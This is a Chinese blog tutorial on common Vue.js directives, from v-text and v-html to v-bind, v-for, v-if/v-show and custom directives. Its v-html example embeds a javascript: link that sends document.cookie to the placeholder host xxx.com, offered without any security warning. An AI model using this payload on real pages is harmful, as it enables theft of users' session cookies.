Vue 常用的指令_vue编译命令-CSDN博客

本文链接：https://blog.csdn.net/qq_42753091/article/details/126334815

Vue 常用的指令

1. v-text 和 v-html 、v-pre

v-text：是渲染字符串，会覆盖原先标签内的字符串

v-html：是渲染html，v-text 和 {{}} 则是渲染文本

v-pre：跳过vue编译阶段，输出原内容

<div id="app">
   	<div>
        <span v-text="text">我是李四</span> // 输出: 张三来咯
        <div v-html="html"></div> // 输出: 获取个人cookie
        <div v-pre>{{pre}}</div> // 输出: {{pre}}
    </div>
</div>
<script>
     new Vue({
        el:"#app",
        data:{
           text:"张三来咯" ，
           html:'<a href=javascript:location.href="http://xxx.com?"+document.cookie>获取个人cookie</a>'
        },
    })
</script>

在这里插入图片描述

效果

2. v-cloak

当data 数据渲染后自动清除

解决: 页面渲染前 {{text}} 标签暴露

<style>
	[v-cloak] {
    	display: none;
	}
</style>
<div id="app" v-cloak>
   	<div >
        {{text}}	// 
    </div>
</div>
<script>
     new Vue({
        el:"#app",
        data:{
           text:"张三来咯"
        },
    })
</script>

3. v-once

只渲染一次

<div id="app">
    <p v-once>{{once}}</p>
    <input v-model="once" type="text" /> // 输出: 法外狂徒:
</div>
<script>
    let vue = new Vue({
        el:"#app",
        data:{
            once:'法外狂徒:'
        }
    })
</script>

$[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-qnrijJuU-1660473699294)(C:\Users\Huhome\AppData\Roaming\Typora\typora-user-images\1660290117963.png)]$

4. v-model

双向数据绑定: 只在表单元素 components 组件传值中有效

v-model.trim 去除两端空格
v-model…number 将数据转化为数值
v-model.lazy 停止实时更新，失去焦点时，再更新

<body>
    <div id="app">
        <div>val的值:{{model}}</div>
        <div>val的值:{{model}}</div>
        <input v-model="model">
    </div>
</body>
<script>
    new Vue({
        el:"#app",
        data:{
            model:'123'
        }
    })
</script>

$[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-GO7DXeyq-1660473699295)(C:\Users\Huhome\AppData\Roaming\Typora\typora-user-images\1660290359036.png)]$

5. v-on

事件绑定语法: v-on:click=“事件名称”

缩写： @ 语法 @click=“事件名称”

事件修饰符
- @click.stop 阻止事件冒泡
- @click.prevent 阻止事件默认行为
- @click.capture 事件捕获模式
- @click.self 事件仅自身触发
- @click.passive 监听滚动事件立即触发
- @click.once 事件只触发一次
@keyup.enter 按键修饰符
按键修饰符注意: keyup 部分按键不能直接触发需要配合系统修饰键 / 配合其他键触发
keydown 可以直接触发
- 按键名称 @keyup.enter 回车触发
- 按键KetCode @keyup.13
- 按键组合 @keyup.enter.13
自义定按键修饰符
- Vue.config.keyCodes.xxx = x (keycode 编码)

<body>
    <div id="app">
        <!-- 正常写法 v-on: -->
        <div v-on:click="func">点一下</div>
        <!-- 缩写 @ -->
        <div @click="func">点一下</div>
    </div>
</body>
<script>
    new Vue({
        el:"#app",
        data:{
        },
        methods:{
         // 定义一个 点击函数   
            func:function(){
                console.log("我被点击了")
            }    
        },
    })
</script>

$[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-wi0q7oWX-1660473699296)(C:\Users\Huhome\AppData\Roaming\Typora\typora-user-images\1660290848971.png)]$

6. v-bind

属性绑定例如: class style 等

缩写 :class

1. v-bind:class

1.绑定class 字符串写法, 适用于"样式不确定",需要动态决定的时候
2.绑定class 数组写法, 适用于"绑定的个数不确定",名字确定/用于随机样式
3.绑定class 对象写法, 适用于"个数确定",名字不确定

<style>
  .red {
    color: red;
  }
  .blue {
    color: blue;
  }
  .wide {
    font-weight: 700;
  }
</style>
<body>
    <div id="app">
        <div :class="strClass">Class字符串</div>
    <div :class="[strClass,strClass2]">Class数组</div>
    <div :class="objClass">Class字符串</div>
    <button @Click="hanglClick">点击修改</button>
    </div>
</body>
<script>
    new Vue({
        el:"#app",
        data:{
              strClass: "red",
              strClass2: "wide",
              objClass: {
                blue: true,
                wide: true
              }
        },
        methods:{
          // 修改objClass 的状态
          hanglClick () {
            this.objClass.blue = !this.objClass.blue
          }   
        },
    })
</script>

$[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-sZGG77mJ-1660473699297)(C:\Users\Huhome\AppData\Roaming\Typora\typora-user-images\1660292902812.png)]$

$[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-tvHAAMDK-1660473699299)(C:\Users\Huhome\AppData\Roaming\Typora\typora-user-images\1660292913070.png)]$

2. v-bind:style

<div id="app">
    <div :style="{color:strStyle}">Style1</div>
    <div :style="{color:'blue',fontWeight:isFW}">Style2</div>
    <div :style="objStyle">Style3</div>
 </div>
 <script>
    new Vue({
    el: "#app",
        data: {
            strStyle: "red",
            isFW: "800",
            objStyle: {
                color: "#ccc",
                fontWeight: 800
        	}
    	}
  })
</script>

$[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-HUXFMlyk-1660473699300)(C:\Users\Huhome\AppData\Roaming\Typora\typora-user-images\1660293390146.png)]$

7. v-for

循环指令

数组: 由子项和下标组成 :key = 子项 / 子项的id

对象: 由子项、下标、键组成 :key = 下标

<div id="app">
    <ul>
      <li v-for="(item,key,index) in obj" :key="index">{{key}}--{{index}}--{{item}}</li>
    </ul>
    <ul>
      <li v-for="(item,index) in arr" :key="index">{{index}}--{{item}}</li>
    </ul>
 </div>
<script>
 new Vue({
    el: "#app",
    data: {
      obj: {
        id: 1,
        name: "张三",
        sex: "男"
      },
      arr: [22, 33, 44, 55, 8]
    },
 }
</script>

$[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-vDYDy6o6-1660473699300)(C:\Users\Huhome\AppData\Roaming\Typora\typora-user-images\1660293889384.png)]$

8. v-if 和 v-show

- v-if 和 v-show 的区别
// 渲染区别
v-if 是 动态的向DOM树内添加或者删除DOM元素
v-show 是 通过设置DOM元素的display样式属性控制显示隐藏

// 编译过程
v-if 切换是一个局部渲染和卸载的过程
v-show 只是简单的 css display的切换

// 编译条件
v-if 是惰性的，如果初始条件为false,则什么也不做，初始值为true 才开始编译
v-show 在任何条件下 都会渲染一次 条件为false 则直接隐藏

// 性能消耗：
v-if 更高的切换消耗
v-show 更高的初始渲染消耗

- 适用场景
v-if 适合渲染条件不大可能改变的情况
v-show 适合频繁切换

9. 自义定组件

全局注册: Vue.directive (‘指令名称’，{})

局部注册: directive:{ 指令名称:{} }

// 全局注册
Vue.directive('',{
	// 当被绑定的元素 插入DOM时 下方函数执行
	inserted: function (el, binding) {
    /***
     * el       --- 绑定的指定元素
     * binding  --- name  ---   指令名称  xxx
     *          --- value ---   传入值
     */
    }
})

// 局部注册
new Vue({
    directive: {
        xxx: {  // 指令名称
            inserted: function (el, binding) {

            }
        }
    }
})